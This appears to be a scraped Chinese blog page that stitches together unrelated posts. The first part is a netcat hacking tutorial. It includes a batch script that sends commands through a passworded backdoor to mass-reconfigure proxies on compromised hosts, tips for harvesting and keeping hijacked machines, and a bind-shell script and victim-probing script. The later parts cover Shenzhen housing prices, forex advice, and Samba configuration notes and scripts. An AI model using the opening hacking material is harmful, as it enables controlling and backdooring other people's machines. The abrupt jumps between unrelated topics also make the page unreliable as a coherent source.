4.1 比如要統一更改肉雞上面的代理端口.snake.exe 修改為11111 服務名稱"sksockserver",使用winshell後門. 端口1234 密碼password

命令格式就是:

modi.bat youip.txt

___________modi.bat____________________________
@if "%1"=="" echo Error: no ip.txt &&goto END

:start
@echo password >a.cmd
@echo s >>a.cmd
@echo cd /d %%windir%%\system32\ >>a.cmd
@net stop "sksockserver" >>a.cmd
@snake.exe -config port 11111 >>a.cmd
@net start "sksockserver" >>a.cmd
@exit >>a.cmd

:auto
@for /f "eol=; tokens=1,2" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 < a.cmd)

:END
___________modi.bat__END_______________________


4.2
@echo off
color f0
:start
cls
C:\nc -vv -w 3 -l -p 80>>80.txt
goto start


  把防火牆關掉以後運行這個批處理,會監聽到許多探測U漏洞的信息,大多是三條一組--妮姆達病毒掃瞄你的。這樣就會得到肉雞的.雖然質量不高.但是也是一種便宜的辦法.

  肉雞特徵:

  1。unicode漏洞
  2。guest密碼為空,administrators組用戶
  3。其他漏洞

  自己慢慢的爽去吧。不過,再次強調一句,不建議而且是不能破壞國內主機,上去以後將tftp.exe改名。然後用pskill幹掉mmc.exe進程,之後是殺毒。做好後門以後,將guest帳號停用,以對付傻瓜掃瞄器


########################################
5. 下載連接
########################################

http://www.coolersky.com/Download/Hacker/Back-door/nc.rar


########################################
6. 補充
########################################

以下為NetCat的Unix版本使用方法(轉載):
http://www.xfocus.net/articles/200103/88.html

--------------------------------------
nc使用技巧

by quack

http://www.xfocus.org ;安全焦點

  nc這個小玩意兒應該大家耳熟能詳,也用了N年了吧……這裡不多講廢話,結合一些script說說它的使用技巧。


(文中所舉的script都來自於nc110.tgz的文件包)


一、基本使用:

Quack# nc -h
[v1.10]
  想要連接到某處: nc [-options] hostname port[s] [ports] ...
  綁定端口等待連接:   nc -l -p port [-options] [hostname] [port]
  參數:
    -e prog         程序重定向,一旦連接,就執行 [危險!!]
    -g gateway       source-routing hop point[s], up to 8
    -G num         source-routing pointer: 4, 8, 12, ...
    -h           幫助信息
    -i secs         延時的間隔
    -l           監聽模式,用於入站連接
    -n           指定數字的IP地址,不能用hostname
    -o file         記錄16進制的傳輸
    -p port         本地端口號
    -r           任意指定本地及遠程端口
    -s addr         本地源地址
    -u           UDP模式
    -v           詳細輸出——用兩個-v可得到更詳細的內容
    -w secs         timeout的時間
    -z           將輸入輸出關掉——用於掃瞄時


  其中端口號可以指定一個或者用lo-hi式的指定範圍。


二、用於傳輸文件——ncp

#! /bin/sh
## 類似於rcp,但是是用netcat在高端口做的
## 在接收文件的機器上做"ncp targetfile"
## 在發送文件的機器上做"ncp sourcefile receivinghost"
## 如果調用了 "nzp" ,會將傳輸文件壓縮

## 這裡定義你想使用的端口,可以自由選擇
MYPORT=23456

## 如果nc沒有在系統路徑中的話,要把下面一行註釋去掉,加以修改
# PATH=$:$ ; export PATH

## 下面這幾行檢查參數輸入情況:

test "" && echo "too many args" && exit 1
test ! "" && echo "no args?" && exit 1
me=`echo | sed 's+.*/++'`
test "$me" = "nzp" && echo '[compressed mode]'

# if second arg, it's a host to send an [extant] file to.
if test "" ; then
test ! -f "" && echo "can't find " && exit 1
if test "$me" = "nzp" ; then
  compress -c < "" | nc -v -w 2 $MYPORT && exit 0
else
  nc -v -w 2 $MYPORT < "" && exit 0
fi
echo "transfer FAILED!"
exit 1
fi

# 是否在接收文件機器當前目錄有同名文件

if test -f "" ; then
echo -n "Overwrite ? "
read aa
test ! "$aa" = "y" && echo "[punted!]" && exit 1
fi
# 30 seconds oughta be pleeeeenty of time, but change if you want.
if test "$me" = "nzp" ; then
# 注意這裡nc的用法,結合了重定向符號和管道
nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c > "" && exit 0
else
nc -v -w 30 -p $MYPORT -l < /dev/null > "" && exit 0
fi
echo "transfer FAILED!"
# clean up, since even if the transfer failed, is already trashed
rm -f ""
exit 1

這樣的話,我只要在A機器上先 QuackA# ncp ../abcd
listening on 然後在另一台機器B上
QuackB#ncp abcd 192.168.0.2
quackb [192.168.0.1] 23456 (?)
A機上出現
open connect to [192.168.0.2] from quackb [192.168.0.1] 1027
#

  查看一下,文件傳輸完畢。


三、用於綁定端口——bsh

  首先要清楚,如果你編譯netcat時僅用如make freebsd之類的命令來編譯的話,這個工具是無法利用的——要define一個GAPING_SECURITY_HOLE它才會提供-e選項。

#! /bin/sh
## 一個利用nc的綁定shell並且帶有密碼保護的腳本
## 帶有一個參數,即端口號

NC=nc

case "" in
?* )
LPN=""
export LPN
sleep 1
#注意這裡nc的用法,參數-l是lister,-e是執行重定向
echo "-l -p $LPN -e " ; $NC -l -p $LPN -e > /dev/null 2>&1 &
echo "launched on port $LPN"
exit 0
;;
esac

# here we play inetd
echo "-l -p $LPN -e " ; $NC -l -p $LPN -e > /dev/null 2>&1 &

while read qq ; do
case "$qq" in
# 這裡就是弱密碼保護了,密碼是quack
quack )
cd /
exec csh -i
;;
esac
done

要看看它是怎麼使用的麼?

quack# ./bsh 6666 <-------輸入,後面是程序輸出
-l -p 6666 -e ./bsh
launched on port 6666
quack#
quack## nc localhost 6666 <----------輸入
-l -p 6666 -e ./bsh
quack  <----------輸入,密碼驗證
Warning: imported path contains relative components
Warning: no access to tty (Bad file descriptor).
Thus no job control in this shell.
Cracker#


四、 用於端口掃瞄——probe

  在我們常見的一些端口掃瞄程序中,如Vetescan這類以shell script寫成的話,很多都需要系統中裝有netcat,原因何在呢?看看下面的script,你或許會明白一些。

#! /bin/sh
## launch a whole buncha shit at yon victim in no particular order; capture
## stderr+stdout in one place. Run as root for rservice and low -p to work.
## Fairly thorough example of using netcat to collect a lot of host info.
## Will set off every intrusion alarm in existence on a paranoid machine!

# 該目錄裡有一些小工具
DDIR=../data
# 指定網關
GATE=192.157.69.11

# might conceivably wanna change this for different run styles
UCMD='nc -v -w 8'

test ! "" && echo Needs victim arg && exit 1

echo '' | $UCMD -w 9 -r "" 13 79 6667 2>&1
echo '0' | $UCMD "" 79 2>&1
# if LSRR was passed thru, should get refusal here:
# 要注意這裡的用法,其實nc的這些參數掌握好可以做很多事情
$UCMD -z -r -g $GATE "" 6473 2>&1
$UCMD -r -z "" 6000 4000-4004 111 53 2105 137-140 1-20 540-550 95 87 2>&1
# -s `hostname` may be wrong for some multihomed machines
echo 'UDP echoecho!' | nc -u -p 7 -s `hostname` -w 3 "" 7 19 2>&1
echo '113,10158' | $UCMD -p 10158 "" 113 2>&1
rservice bin bin | $UCMD -p 1019 "" shell 2>&1
echo QUIT | $UCMD -w 8 -r "" 25 158 159 119 110 109 1109 142-144 220 23 2>&1
# newline after any telnet trash
echo ''
echo PASV | $UCMD -r "" 21 2>&1
echo 'GET /' | $UCMD -w 10 "" 80 81 210 70 2>&1
# sometimes contains useful directory info:
# 知道robots.txt是什麼文件麼?;)
echo 'GET /robots.txt' | $UCMD -w 10 "" 80 2>&1
# now the big red lights go on
# 利用小工具rservice來嘗試,該工具可以在nc110.tgz的data目錄裡找到
rservice bin bin 9600/9600 | $UCMD -p 1020 "" login 2>&1
rservice root root | $UCMD -r "" exec 2>&1
echo 'BEGIN big udp -- everything may look "open" if packet-filtered'
data -g < $/nfs-0.d | $UCMD -i 1 -u "" 2049 | od -x 2>&1
# no wait-time, uses RTT hack
nc -v -z -u -r "" 111 66-70 88 53 87 161-164 121-123 213 49 2>&1
nc -v -z -u -r "" 137-140 694-712 747-770 175-180 2103 510-530 2>&1
echo 'END big udp'
$UCMD -r -z "" 175-180 2000-2003 530-533 1524 1525 666 213 8000 6250 2>&1
# Use our identd-sniffer!
iscan "" 21 25 79 80 111 53 6667 6000 2049 119 2>&1
# this gets pretty intrusive, but what the fuck. Probe for portmap first
if nc -w 5 -z -u "" 111 ; then
showmount -e "" 2>&1 #象showmount和rpcinfo的使用,可能會被逮到;)
rpcinfo -p "" 2>&1
fi
exit 0


  感覺也沒什麼好說的,腳本本身說明了一切。當然像上面的腳本只是示範性的例子,真正地使用時,這樣掃瞄會留下大量的痕跡,系統管理員會額外小心;)

  多試試,多想想,可能你可以用它來做更多事情——你可以參見nc110.tgz裡script目錄下的那些腳本,從中獲得一些思路。

开发商囤地导致深圳房价暴涨

深圳的房价又涨了!新年伊始深圳房价仍一路攀升。买房者追涨的风潮一浪高过一浪,新近推出的楼盘常常被一扫而空。


有市场分析家认为,深圳房价全面“涨停”,并不是深圳没有土地供建商品房,而是有大量的闲置土地被有背景的人霸占着却不开发。对此,一位政协委员坦言,开发商囤地严重,一直是深圳房价快速上涨的重要原因,他毫不客气地批评地方政府调控不力,并认为应该系统反思如何执行调控政策,政府应对楼价暴涨负责。


在如此严峻的房地产宏观调控形势下,深圳房价涨幅依然是居全国之首。根据国家发改委、统计局2月16日公布的调查结果,1月份,新建商品住房价格同比上涨6.1%,涨幅比上月低0.2个百分点;环比上涨0.7%,比上月高0.1个百分点。分地区看,与去年同月比,深圳、北京、福州和广州等城市涨幅较大,其中深圳上涨10.2%,北京9.9%。


有业内人士透露,与往年相比,现在每周新开盘的项目已经大大减少,从而会进一步推动楼价暴涨。有背景的发展商垄断土地现象在深圳比较严重,地方土地执法部门根本没有能力收回,这也是行业内公开的秘密。


就在春节前夕,深圳市规划局一位官员透露,深圳全市目前约有20平方公里闲置土地,其中也包括部分房地产用地。这20平方公里的闲置土地已相当于深圳近年来每年新批准的建设用地总量。


据了解,已出让用地闲置两年以上将被收回,不但在国家土地管理法规中早有规定,也是国家及地方历次房地产调控政策出炉时强调的重点,但多年以来,深圳并未收回几宗此类土地。对此,业内人士透露,很多敢于囤积土地的开发商都“很有背景”,官商勾结之下,地方土地执法部门根本没有能力收回;此外,在收回闲置用地的操作层面,也缺乏技术细则,例如在时间认定方面便缺乏具体的操作细则,也是国家法规沦为一纸空文的重要原因。


近日,深圳市国土资源和房产管理局公布了2006年的工作总结与2007年的工作计划。该局透露,目前已制定了《深圳市闲置土地处置工作方案》,并初步认定了闲置土地25宗,面积74.78万平方米。另外,今年该局还将实行土地使用权出让合同验收制度,建立土地使用权出让合同执行情况监管工作的长效机制,大力开展闲置土地清理和处置工作,并积极配合省、市有关部门开展土地执法检查工作。因此,开发商囤地严重的现象在今年有望在深圳得到改观。


深圳到底有多少土地的使用权在出让后一直未能有效开发利用?如今,恐怕深圳市政府的官员们未必都清楚,一位政协委员如是说。

坎坷的samba-3源码安装二:smb脚本

#!/bin/sh

# description: Starts and stops the Samba smbd and nmbd daemons
# named this script as "smb" and put it into /etc/rc.d/init.d/
# don't forget to change it to executable file with "chmod 755 smb"
# config: /etc/samba/smb.conf
# Check that the Samba configuration file exists
[ -f /usr/local/samba/lib/smb.conf ] exit 0

start( )
{
echo -n "Starting SMB services: "
/usr/local/samba/bin/smbd -D
ERROR=$?
echo

echo -n "Starting NMB services: "
/usr/local/samba/bin/nmbd -D
ERROR2=$?
if [ $ERROR2 -ne 0 ]
then
ERROR=1
fi
echo

return $ERROR
}

stop( )
{
echo -n "Shutting down SMB services: "
/bin/kill -TERM -a smbd
ERROR=$?
echo

echo -n "Shutting down NMB services: "
/bin/kill -TERM -a nmbd
ERROR2=$?
if [ $ERROR2 -ne 0 ]
then
ERROR=1
fi
echo

return $ERROR
}

case "$1" in
start)
start
;;
stop)
stop
;;
*)
echo "Usage: $0 {startstop}"
exit 1
esac

exit $?

----------------------------------------------------------------
还有些话要说
启动
# /etc/rc.d/init.d/smb start
Starting SMB services:
Starting NMB services:
# ps ax | grep mbd
1268 ? S 0:00 /usr/local/samba/bin/smbd -D
1270 ? S 0:00 /usr/local/samba/bin/nmbd -D
1465 pts/2 S 0:00 grep mbd
关闭
# /etc/rc.d/init.d/smb stop
Shutting down SMB services:
Shutting down NMB services:
最后我们还需要把它们添加到/etc/rc.d/rcX.d 目录中去以后就可以自动启动喽
# ln -s /etc/rc.d/init.d/smb /etc/rc.d/rc3.d/S35smb
# ln -s /etc/rc.d/init.d/smb /etc/rc.d/rc5.d/S35smb

# ln -s /etc/rc.d/init.d/smb /etc/rc.d/rc0.d/K35smb
# ln -s /etc/rc.d/init.d/smb /etc/rc.d/rc1.d/K35smb
# ln -s /etc/rc.d/init.d/smb /etc/rc.d/rc2.d/K35smb
# ln -s /etc/rc.d/init.d/smb /etc/rc.d/rc4.d/K35smb
# ln -s /etc/rc.d/init.d/smb /etc/rc.d/rc6.d/K35smb

2007年2月25日星期日

专家推荐外币理财六大渠道

新华网北京2月20日电(记者岳瑞芳)人民币对美元中间价近日再创汇改以来新高。面对人民币的持续升值,专家建议外币持有者谨慎选择投资渠道,应对贬值风险。

渠道一:选择存外币定期。特点是收益低,风险低。

对于想要继续持有外币,既希望保值又不愿承担太大风险的人来说,定期存款是最稳妥的了。对比人民币存款,外币存款仍有利可图。不过,持有人要注意币种。同样存一年期定期,英镑、港币、美元的利率都比人民币要高,而加拿大元、欧元、瑞士法郎、日元的利率就比不上人民币。当然,持有人也可将利率低的外币兑换成利率高的外币,在付出兑换费后享受较高的利率。

需要注意的是,现在各银行对2年期小额外币储蓄利率可自定,各银行利率有所不同,市民可“率比三家”再决定存哪家。

渠道二:炒汇。特点是收益高,风险相对较高。

目前国内炒汇有两种方式:实盘交易和外汇保证金交易。

个人实盘外汇买卖交易,如某行推出的“外汇宝”,利用国际外汇市场上外汇汇率的频繁波动,采取低买高卖的方式,在不同的货币间转换并赚取一定的汇差或利差,以达到保值、盈利的目的。外汇保证金交易,则是投资人以其存于银行的资金作为保证金质押在该银行,透过银行依其存款金额,设定一个操作外汇的信用额度,以小搏大。

这两种方法虽然收益相对高,但专业要求强,进入门槛高。

渠道三:购买外币理财产品。特点是收益稳健,风险适中。

对大多数人来说,把手中外币交给银行打理是个不错的选择。目前各家银行都推出了不少外币理财产品,收益率多在5%以上,可弥补人民币升值带来的缩水,且有所盈余。但投资者需注意选择期限较短的理财品,以规避长期来看人民币升值带来的风险。

渠道四:购买QDII(代客境外理财)理财品。特点是收益高但不确定,风险相对较高。

这种理财方式投资标的多为境外证券市场的投资品种,收益率较高但不保证收益,风险性相对高。如某行推出的“基汇宝”全部投资于海外基金,年预期收益率高达28.3%。

渠道五:投资沪深股市B股。特点是收益高,风险高。

近期股市大热,B股市场也不例外。沪市B股用美元交易,深市B股用港币交易。此前曾传出A、B股拟合并的消息,致使B股市场大涨,之后虽经辟谣后有所回落,但涨跌之间就会有赚钱机会

Samba学习笔记

Samba学习笔记
整理:Jims of 肥肥世家


Copyright © 2005 本文遵从GNU的自由文档许可证(Free Document License)的条款,欢迎转载、修改、散布。

发布时间:2005年07月08日

最新更新:2006年09月07日,增加smbfs介绍。

Abstract

Samba是Linux与Windows信息沟通的桥梁。它可使Linux系统变成Windows文件和打印服务器,供Linux用户和Windows用户共同使用。在现在Windows和Linux多操作平台共存的环境下,这种技术就更显得重要,它能帮我们实现信息的跨平台交流和平台的平稳迁移。Samba成功突破了Windows的技术封锁,是自由软件的一面旗枳和典范。


--------------------------------------------------------------------------------

Table of Contents

1. Samba基础
2. 安装配置
2.1. 服务器角色
2.2. 使用openldap目录服务进行samba用户验证
2.3. 回收站功能
3. 小技巧
List of Tables

1.1. NetBIOS节点类型
1.2. NetBIOS资源类型
1.3. NetBIOS组资源类型
Chapter 1. Samba基础
Samba是一套使用SMB/CIFS协议的Unix应用程序,通过该套程序我们可以和Windows服务器共享资源。更进一步,我们还可用Samba服务器替代Windows服务器的一些功能,如Wins,PDC等。

Samba功能介绍

在Linux下使用Windows的共享资源。

作为Windows文件服务器/打印服务器的开源替代

实现Wins服务器功能。

作为Windows环境下的PDC、BDC。

一些基本概念

节点类型----NBT网络中每台机器根据处理名称注册和解析的方式的不同,被指定为以下几种节点类型。

Table 1.1. NetBIOS节点类型

类型 描述
b-node 只使用广播方式的注册和解析。
p-node 只使用点到点的注册和解析。
m-node 先用广播方式注册,一旦成功,则将结果通知NBNS服务器。使用广播方式解析,如果不成功,则使用NBNS服务器。
h-node 使用NBNS服务器进行注册和解析,如果NBNS服务器没有响应或不能操作,则使用广播方式。

Windows系统多数使用b-node或h-node节点类型,h-node提供了更强大的容错能力。用ipconfig/all查询Node Type属性就可知道当前系统的节点类型。

NetBIOS不仅能通告自已的存在,还能告诉其它机器自已能提供的资源类型。下面是一个资源类型的列表。

Table 1.2. NetBIOS资源类型

资源类型 值
标准工作站服务 00
消息服务(WinPopup) 03
RAS服务器服务 06
域主浏览器服务 1B
主浏览器名称 1D
NetDDE服务 1F
文件服务器/打印服务器 20
RAS客户机服务 21
网络监视代理 BE
网络监视工具 BF

网上的机器还可以划分成不同的工作组,下面是NetBIOS的组资源类型。

Table 1.3. NetBIOS组资源类型

类型 描述
标准工作站组 00
登录工作站 1C
主浏览器名称 1D
通用组名称 1E
Internet名称 20
<01><02>__MSBROUSE__<02> 01

Chapter 2. 安装配置
Table of Contents

2.1. 服务器角色
2.2. 使用openldap目录服务进行samba用户验证
2.3. 回收站功能
在Debian中有现成的Samba包,用以命令即可安装,smbclient是客户端软件,用以在Linux下测试和连接samba服务器:

debian:#~ apt-get install samba smbclient

Samba的配置文件是smb.conf,如果是debian系统,则位于/etc/samba目录下,如果从源码编译安装,则位于安装目录的lib目录下。下面是一个示例:

[global]
workgroup = Samba server
server string = Samba server
netbios name = t02

;browser setup
domain master = yes
local master = yes
preferred master = yes
os level = 255

;share charset
unix charset = GB2312
display charset = GB2312
dos charset = GB2312

;security setup
security = user
encrypt passwords = yes
;smb passwd file = /usr/local/samba/private/smbpasswd
ldap admin dn = "cn=admin,dc=com"
passdb backend = ldapsam:ldap://t03
;ldap admin dn = "cn=admin,dc=com"
ldap delete dn = yes
ldap user suffix = dc=samba,dc=tiger
ldap suffix = dc=com

;log setup
log file = /usr/local/samba/var/log.%m
max log size = 50

socket options = TCP_NODELAY SO_RCVBUF=8192 SO_SNDBUF=8192

dns proxy =no

;start wins server
wins support = yes

[homes]
comment = Home Directories
veto files = /.*/
browseable = no
writable = yes

[linux-app]
comment = share the Linux application software
path = /data/linapp
case sensitive = no
follow symlinks = no
writable = yes
valid users = root +wj
create mask = 0660
directory mask = 0770

2.1. 服务器角色
Samba 3服务器可担任主域控制器、独立域服务器和域成员服务器等角色。设置方法如下:

主域控制器:

[global]
...
......
domain master = yes
preferred master = yes
domain logons = yes
security = user
......
...

使用testparm命令测试一下:

debian:~# testparm
Load smb config files from /etc/samba/smb.conf
Processing section \"[homes]\"
Processing section \"[printers]\"
Loaded services file OK.
Server role: ROLE_DOMAIN_PDC #服务器角色为主域控制器
Press enter to see a dump of your service definitions
......

备份域控制器:

[global]
...
......
domain master = no
preferred master = yes
domain logons = yes
security = user
......
...


运行testparm测试一下:

testparm
Load smb config files from /etc/samba/smb.conf
Processing section \"[homes]\"
Processing section \"[printers]\"
Loaded services file OK.
Server role: ROLE_DOMAIN_BDC #服务器角色为备份域控制器
Press enter to see a dump of your service definitions

独立服务器:

[global]
...
......
domain master = yes
preferred master = yes
domain logon = no
security = user
......
...

再使用testparm命令测试一下。

debian:~# testparm
Load smb config files from /etc/samba/smb.conf
Processing section \"[homes]\"
Processing section \"[printers]\"
Loaded services file OK.
Server role: ROLE_STANDALONE #服务器的角色为独立服务器
Press enter to see a dump of your service definitions
......

域的成员服务器:

[global]
...
......
domain master = yes
preferred master = yes
domain logon = no
security = domain
......
...

运行testparm测试一下:

Load smb config files from /etc/samba/smb.conf
Processing section \"[homes]\"
Processing section \"[printers]\"
Loaded services file OK.
Server role: ROLE_DOMAIN_MEMBER #服务器的角色为域成员服务器
Press enter to see a dump of your service definitions
......

2.2. 使用openldap目录服务进行samba用户验证
samba可把用户信息存放到ldap目录服务器上,使用目录服务器上的用户数据进行用户验证。这样做的好处是:

集中存放用户信息,多台Samba服务器可共用一套用户数据。

当用户数量多时,采用ldap目录服务器可加快用户验证的速度。因为ldap目录服务是专门为读操作而优化的,搜索数据的速度是非常快的。

维护方便,可利用ldap客户端进行可视化维护,如phpldapadmin。

用户可自由更改自已的密码,而不用经过系统管理员,可大大减轻系统管理员的工作量。

要使samba能够使用ldap目录服务器作为用户验证的后台数据库,需在编译samba时选择了“--with-ldapsam”选项。在确保samba服务器和openldap服务器正常运行的前提下,进行以下配置。

要openldap能认识samba的用户信息,我们需在openldap服务器中导入samba.schema。该文件是不包含在openldap源码中的,我们可在samba源码目录中的/examples/LDAP路径中找到该文件。把它拷贝到openldap的schema目录。接着编辑slapd.conf文件,用include指令把samba.schema导入openldap。如:

# Allow LDAPv2 binds
allow bind_v2

# This is the main slapd configuration file. See slapd.conf(5) for more
# info on the configuration options.

#######################################################################
# Global Directives:

# Features to permit
#allow bind_v2

# Schema and objectClass definitions
include /etc/ldap/schema/core.schema
include /etc/ldap/schema/cosine.schema
include /etc/ldap/schema/nis.schema
include /etc/ldap/schema/inetorgperson.schema
include /etc/ldap/schema/samba.schema #导入samba.schema文件

重启服务器,使配置生效。

下来我们要配置samba服务器了。打开smb.conf文件,添加以下内容:

# You may wish to use password encryption. Please read ENCRYPTION.txt,
# Win95.txt and WinNT.txt in the Samba documentation. Do not enable this
# option unless you have read those documents
encrypt passwords = true
; passdb backend = smbpasswd guest #取消smbpasswd验证

ldap admin dn = "cn=admin,dc=com" #指定管理员
passdb backend = ldapsam:ldap://ldapserver #指定用户验证的ldap目录服务器
ldap user suffix = dc=samba,dc=it #用户信息存放的目录路径
ldap delete dn = no #不允许删除dn
ldap suffix = dc=com #指定搜索后缀

存盘退出,重启samba服务器。运行以下命令,把cn=admin,dc=com管理员的密码“secret”保存到secrets.tdb文件中,以便samba服务器与openldap服务器进行通信。

debian:~# smbpasswd -w secret
Setting stored password for "cn=admin,dc=com" in secrets.tdb #成功保存的提示信息

把Samba用户的验证信息存放到ldap目录服务器的方式有两种。一种是利用ldap里已有的目录项,不用另外增加一个目录项来专门存放samba用户验证信息,而是把samba用户的验证信息存放到目录服务器中同名的目录项。采用这种方式,sambaSamAccount对象类型需手工维护,当用户数量大的时候就很难保证sambaSID号码的唯一。另外一种是直接运行smbpasswd -a test命令,重新创建一个uid=test,dc=samba,dc=it,dc=com的目录项。sambaSamAccount对象类型会自动创建,sambaSID号会由程序自动维护。但如果要以uid=test,dc=samba,dc=it,dc=com登录目录服务器维护samba用户信息,则要手工添加一个simpleSecurityObject对象类型,增加userPassword属性才行。这两种方式各有优缺点,可满足不同场合的需求。第二种方式相对简单,这里就不具体介绍。下面详细介绍一下第一种方式的配置步骤。

首先,我们在ldap目录服务器上要有一个叫“cn=test,dc=samba,dc=it,dc=com”的目录项,且使用该dn能正常登录ldap目录服务器。在cn=test,dc=samba,dc=it,dc=com目录项中还要添加一个sambaSamAccount对象类型,以便smbpasswd程序写入samba帐号信息。添加该对象类型时需要填两个属性,一个是sambaSID,一个是uid,sambaSID类似Windows NT中的SID,它是以S开头一串数字,由Samba服务器的SID + UID组成。当你的samba服务器成功连接到ldap目录服务器时,它已在ldap目录服务器中自动创建一个sambaDomainName=hostname的目录项。该目录项的sambaSID就是Samba服务器的SID了,类似于S-1-5-21-3129426798-1813742091-3551573396。UID手动填一个即可,如3001。每个用户的UID都是不同的。最后的sambaSID是S-1-5-21-3129426798-1813742091-3551573396-3001。

配置完成,使用smbpasswd命令就可把用户信息保存到ldap目录服务器上了。

debian:~# smbpasswd -a test
New SMB password:
Retype new SMB password:
Added user test. #成功添加用户

用phpldapadmin以cn=test,dc=samba,dc=it,dc=com登录进ldapserver服务器,你会发现该用户添加了samba用户的验证信息。其中,uid属性记录的是samba的用户名,sambaLMPassword和sambaNTPassword两个属性分别记录了用户的加密密码资料,分别对应windows98和NT两种加密方式。

到此为止,使用ldap目录服务器进行Samba用户验证已配置完成。但现在还是要管理员在samba服务器上使用smbpasswd命令为用户维护密码。从维护工作量和保密的角度出发,由用户自已维护自已的密码是一种最好的方法。我们借助phpldapadmin这个工具可帮我们实现该功能。具体设置方法是这样的:

首先,在设置前,需先把phpldapadmin安装好,具体的安装步骤请参考我网站上的openldap学习笔记。安装好phpldapadmin后,我们已可正常使用该工具维护目录项了。同时,通过目录服务器的权限管理,我们也可把test用户密码属性设置成只有dn是cn=test,dc=samba,dc=it,dc=com的用户和目录服务器管理员才能修改。要达到该项果,请把以下ACL加入到slapd.conf中。

access to attrs=sambaLMPassword
by dn="cn=admin,dc=com" write
by anonymous auth
by self write
by * none

access to attrs=sambaNTPassword
by dn="cn=admin,dc=com" write
by anonymous auth
by self write
by * none

重启openldap服务器使配置生效。

要修改samba用户的密码,我们只要修改smbaLMPassword和sambaNTPassword两个属性值即可,但会出错,提示修改失败,要我们去修改phpldapadmin的template_config.php文件。这是因为phpldapadmin使用了一个叫mkntpwd的程序来生成samba的加密密码。在template_config.php文件中设置了mkntpwd程序的执行路径。mkntpwd程序默认是没有安装在系统中的,我们需安装它,并把它放到在template_config.php文件里指定的执行位置(/usr/bin/)。mkntpwd的源码包含在samba的源码中,我们可进入samba的源码目下的examples/LDAP/smbldap-tools/mkntpwd目录,mkntpwd的源码全部在这里了,运行make命令,就可生成mkntpwd程序。最后把mkntpwd拷贝到/usr/bin目录下即可。

如果是debian系统,template_config.php文件就位于/etc/phpldapadmin/templates目录下。节选有关定义mkntpwd程序路径的内容如下:

...
## SAMBA TEMPLATE CONFIGURATION ##
## ---------------------------- ##
## ##
## In order to use the samba templates, you might edit the following properties: ##
## 1 - $mkntpwdCommand : the path to the mkntpwd utility provided with/by Samba. ##
## 2 - $samba3_domains : the domain name and the domain sid. ##
## ##
######################################################################################*/

// path 2 the mkntpwd utility (Customize)
$mkntpwdCommand = "/usr/bin/mkntpwd";
...

以cn=test,dc=samba,dc=it,dc=com登录进入ldap服务器,我们就可修改smbaLMPassword和sambaNTP\assword两个属性值了。其它用户的这两个属性test用户是看不到的。

其实,不使用phpldapadmin来维护samba用户密码也可以,我们完全可以用python-ldap配合mkntpwd程序自已DIY一个用户密码管理程序。

2.3. 回收站功能
samba也有回收站功能,它能把你在samba服务器中删除的文件移到回收站中,而不是真正的从磁盘删除掉。这大大提高了数据的安全性,更人性化一些。下面介绍如何设置。

[homes]
comment = Home Directories
browseable = no

# By default, the home directories are exported read-only. Change next
# parameter to 'yes' if you want to be able to write to them.
writable = yes

# File creation mask is set to 0700 for security reasons. If you want to
# create files with group=rw permissions, set next parameter to 0775.
create mask = 0700

# Directory creation mask is set to 0700 for security reasons. If you want to
# create dirs. with group=rw permissions, set next parameter to 0775.
directory mask = 0700

vfs object = recycle #启用回收站功能
recycle:keeptree = yes #保持目录的树状结构
recycle:versions = yes #相同文档名时,有不同版本
recycle:repository = ../recycle/%u #回收站的位置,每个用户都有一个目录

recycle目录的访问权限是所有用户可写,自动生成的recycle/%u目录的访问权限是只能由用户可写。

Chapter 3. 小技巧
使用tdbdump程序可以查看samba的tbd格式文件。

使用smbclient -L winserver -d 3可显示连接winserver时的Debug信息,这些信息对于跟踪连接过程和故障处理都很有用。-d是开启debug功能的选项,3代表debug的级别,可选值为0到10,数字越大显示的信息越详细。

连接中文机器名时要注意两边系统的字符集要相同,如果不同,要用unix charset和doc charset指定两边的字符集。如果两边系统的字符集不对称,则在连接时会出现以下的出错信息。

session request to failed (Called name not present)
session request to *SMBSERVER failed (Called name not present)

samba通过Windows的139和445端口进行通信,samba会先通过445端口进行连接,如果连接失败,则再尝试139端口。在NT中,SMB运行于NBT(NetBIOS over TCP/IP)上,使用137,139(UDP),139(TCP)端口。在2000/XP/2003中,SMB可以直接运行在tcp/ip上,而没有额外的NBT层,使用TCP 445端口。

手动加载smbfs文件系统的方法:

debian:#~ mount -t smbfs -o username=your_username,password=your_password,iocharset=utf8,codepage=cp936 //servername/sharename /mnt/share

我的Debian采用UTF8编码,Samba服务器的操作系统采用GB2312编码,使用iocharset=utf8和codepage=cp936选项是为了使加载的共享能正常显示中文,iocharset指定客户端的字符集,codepage指定服务器的代码页。

注意,由于该命令包含访问文件服务器的用户名和密码,为保密起见,该命令尽量不要在命令行中输入,因为bash有一个命令缓存功能,能记录你所输入的所有shell命令。我们应该采用credentials选项代替username和password选项,如下所示:

debian:#~ mount -t smbfs -o credentials=/root/smbpassword,iocharset=utf8,codepage=cp936 //servername/sharename /mnt/share

credentials=/root/smbpassword选项指定登录samba服务器的密码文件,smbpassword文件的格式如下:

username=xxxxxx
password=xxxxxx

由于在smbpassword密码文件中的密码是明文的,所以我们要设置好访问权限,只能由合法用户来读取。

我们也可把加载smbfs文件系统的方法写在fstab文件中,使它能够在系统启动时自动加载,下面是我的fstab文件,自动加载了/root/data和/root/books目录。

# /etc/fstab: static file system information.
#
#
/dev/hda3 / ext3 errors=remount-ro 0 1
/dev/hda2 none swap sw 0 0
proc /proc proc defaults 0 0
/dev/fd0 /floppy auto user,noauto 0 0
/dev/cdrom /cdrom iso9660 ro,user,noauto 0 0
//samba/data /root/data smbfs credentials=/root/smbpassword,iocharset=utf8,codepage=cp936 0 0
//samba/books /root/books smbfs credentials=/root/smbpassword,iocharset=utf8,codepage=cp936 0 0

坎坷的samba-3源码安装一:编译安装

系统是redhat9 2.4.20-8,系统自带装了samba-2.2.7a-7.9.0
下载samba最新版,文件名samba-3.0.24.tar.gz
1、解压、编译、安装
#tar xzvf samba-3.0.24.tar.gz
#cd samba-3.0.24/source
#./configure;make;make install
;没用路径参数,因为默认是/usr/local/samba
2、安装smb.conf
#cp ./samba-3.0.24/examples/smd.conf /usr/local/samba/lib
;安装目录下有很多smd.conf的例子,但/usr/local/samba/lib下却没有,所以必须copy.
#/usr/local/samba/bin/testparm
;检查smb.conf配置语法是否错误和设置是否成功(默认的smb.conf,不会有问题:)
3、配置smb.conf
#vi smb.conf
有两个地方非改不可
workgroup=mygroup(我的windows机子的工作组名,有三台win机,都是"workgroup" 工作组)
增加:unix charset=cp936
dos charset=cp936
display charset=cp936
